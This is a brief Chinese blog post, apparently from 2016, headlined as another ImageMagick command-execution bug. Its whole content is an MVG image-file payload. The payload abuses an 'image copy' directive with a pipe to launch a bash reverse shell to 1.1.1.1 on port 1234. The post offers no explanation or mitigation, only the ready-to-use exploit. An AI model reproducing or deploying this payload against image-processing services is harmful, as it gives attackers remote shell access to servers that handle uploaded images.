ImageMagick又一处命令执行 

push graphic-context
viewbox 0 0 640 480
image copy 200,200 100,100 "|bash -i >& /dev/tcp/1.1.1.1/1234 0>&1"
pop graphic-context

 

posted @ 2016-06-03 16:29  Hookjoy  阅读(183)  评论(0)  编辑  收藏  举报